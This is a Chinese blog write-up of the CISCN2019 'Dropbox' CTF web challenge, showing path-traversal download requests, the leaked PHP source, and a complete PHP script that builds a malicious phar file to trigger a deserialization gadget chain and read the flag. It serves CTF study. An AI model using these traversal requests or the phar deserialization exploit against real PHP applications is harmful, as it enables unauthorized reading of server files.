[CISCN2019 华北赛区 Day1 Web1]Dropbox

[CISCN2019 华北赛区 Day1 Web1]Dropbox

注册后进入网站,上传文件后,用Burp Suite拦截请求,修改请求,任意文件可下载:

POST /download.php HTTP/1.1
Host: 3a15d220-2508-43a9-a971-ff055bdaf52f.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=71e4c77c7af3596b74ed78af4c02a0ff
Content-Length: 24

filename=../../index.php

响应中得到index.php源代码:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}
?>

<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
</head>

<body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
        <li class="breadcrumb-item active">管理面板</li>
        <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
        <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

根据index.php中的提示,说明还有class.php,修改请求:

POST /download.php HTTP/1.1
Host: 3a15d220-2508-43a9-a971-ff055bdaf52f.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=71e4c77c7af3596b74ed78af4c02a0ff
Content-Length: 24

filename=../../class.php

响应中得到class.php源码:

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path); //返回我们上传文件的所有文件名

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file); // 把File对象加入到files数组
            $this->results[$file->name()] = array(); // results 是个数组,保存以我们上传的文件名作为键值,每个文件名键值映射一个数组。
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) { // 每次把每个一级数组的值,传递给$result,即filename1[]
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

魔术方法:

__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__toString() //当一个对象被当作一个字符串使用
__sleep() //在对象在被序列化之前运行
__wakeup() //将在反序列化之后立即被调用(通过序列化对象元素个数不符来绕过)
__get() //获得一个类的成员变量时调用,访问不存在的属性或是受限的属性时调用
__set() //设置一个类的成员变量时调用
__invoke() //调用函数的方式调用一个对象时的回应方法
__call() **//当调用一个对象中的不能用的方法的时候就会执行这个函数

References

https://www.jianshu.com/p/40ab1c531fcc

查阅PHP手册:

unlink
(PHP 4, PHP 5, PHP 7, PHP 8)
unlink — 删除文件

htmlentities
(PHP 4, PHP 5, PHP 7, PHP 8)
htmlentities — 将字符转换为 HTML 转义字符

array_push
(PHP 4, PHP 5, PHP 7, PHP 8)
array_push — 将一个或多个单元压入数组的末尾(入栈)

仔细阅读class.php源码分析FileList的魔术方法__call()

public function __call($func, $args) {
		array_push($this->funcs, $func);//在本题中,这句话将close方法压入数组funcs末尾。
    foreach ($this->files as $file) { 
		    $this->results[$file->name()][$func] = $file->$func(); //results二维数组第一维是文件名字,第二维是没有成功调用的方法。
    }
}

__call($func,$args)会在对象调用的方法不存在时,自动执行。 $func被调用的方法名,所以:

  • $func():在这个魔术方法中,可以表示被调用的那个方法;
  • $args() : 被调用方法中的参数(这是个数组)

$a->result二维数组结构

仔细阅读class.php源码分析FileList的魔术方法__destruct()

    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) { // 每次把每个一级数组的值,传递给$result,即filename1[]
            $table .= '<tr>';
            foreach ($result as $func => $value) { // 每次把每个二级数组的值,传递给$value
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table; // 最后打印出来全部数据,这里就是网页回显flag的语句。
    }

仔细阅读class.php的源码:

  • 观察到File类有close()函数,这个函数调用了file_get_contents可以获得文件名对应的文件内容。因此我们要想办法调用File类里面的close方法来读取flag文件里的内容。
  • 同时User类里有User类中存在close方法,并且该方法在对象销毁时执行。所以当User对象销毁时,就会调用close()函数,然后读取flag内容。
  • 最后FileList类中存在__call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,就会调用__call方法,文件的close方法会被执行,就会拿到flag

根据以上三条线索,大概的解题思路就是:

  • 创建一个User的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。
  • User对象销毁时,db变量的close方法被执行。
  • FileList对象的db变量没有close方法,这样就会触发FileList__call魔术方法,进而变成了执行File对象的close方法,此时就会读取到flag函数的内容。

得到了flag,那怎么显示在网页上呢?最后一步回显:

  • 文件删除时FileList对象被销毁,调用FileList类的析构函数,上一步File对象的close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。

References

ciscn2019华北赛区半决赛day1_web1题解

[CISCN2019 华北赛区 Day1 Web1]Dropbox_沐目的博客-CSDN博客

有了解题思路,页面里我们可操作的就只有上传,下载,删除。因为要调用__destruct析构函数打印flag,所以只能使用删除文件制造回显。解题思路的第一步就是创建一个User对象,我们只能通过上传文件的方式来创建对象,User对象的db又是Filelist对象,又要把flag.txt保存到file成员变量filename里,这里需要用到phar伪协议。里面有个字段meta-data用来保存信息,它是序列化后的信息。而phar://伪协议可以让php一些函数自动反序列化这个字段信息,包括file_get_contents()

References

BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox 1_wow小华的博客-CSDN博客

来自Secarma的安全研究员Sam Thomas发现了一种新的漏洞利用方式,可以在不使用php函数unserialize()的前提下,引起严重的php对象注入漏洞。在字段meta-data中,可以序列化存储我们创建的对象。下面是PHP手册中Phar的格式清单:

Global Phar manifest format

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,其中一个在解析phar文件时会自动反序列化的函数就是file_get_contents(),这样就可以把我们创建的User对象成功上传到服务器。

References

https://xz.aliyun.com/t/2715

要生成phar文件,首先先用php --ini命令,找到本php环境下php.ini文件的位置。然后找到phar.readonly参数,如果phar.readonly前面有分号就删掉分号,并改成phar.readonly = Off

可以理解为一个标志,格式为xxx<?php xxx;__HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。

最后的生成phar文件:

<?php
class User {
    public $db;
}
class File {
    public $filename;
}
class FileList {
    private $files;
    public function __construct() {
        $file = new File();
        $file->filename = "/flag.txt";
        $this->files = array($file);
    }
}

$a = new User();
$a->db = new FileList();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>

查阅PHP手册:

Phar::addFromString
(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)
Phar::addFromString — 以字符串的形式添加一个文件到 phar 档案

运行后在同一路径下得到phar.phar文件,改后缀为jpg上传,点删除用Burp Suite拦截,请求中修改为filename=phar://phar.jpg,响应中得到flag。

References

BUUCTF [CISCN2019 华北赛区 Day1 Web1]Dropbox 1_wow小华的博客-CSDN博客

最后还有download.php,修改请求:

POST /download.php HTTP/1.1
Host: 30935de4-5334-459f-98f2-20e73872aa8f.node4.buuoj.cn
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=c0fbd58fb321d2ed81a266691821a5f7
Content-Length: 27

filename=../../download.php

响应中得到download.php源码:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>

查阅PHP手册:

ini_set
(PHP 4, PHP 5, PHP 7, PHP 8)
ini_set — 为一个配置选项设置值

chdir
(PHP 4, PHP 5, PHP 7, PHP 8)
chdir — 改变目录

chdir()实现目录跳跃,解释了为什么下载时要filename = ../../indx.php,而不是filename = index.php

只要和序列化有关的,就在魔术方法里,找高危函数就完事了。

  • file_get_contents() → 任意文件读取。
  • eval → 任意命令执行。

利用条件:

① phar文件要能够上传到服务器端

② 要有可用的魔术方法作为“跳板”

③ 要有文件操作函数,如file_exists()fopen()file_get_contents()file()

③ 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

References

[CISCN2019 华北赛区 Day1 Web1]Dropbox_沐目的博客-CSDN博客

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值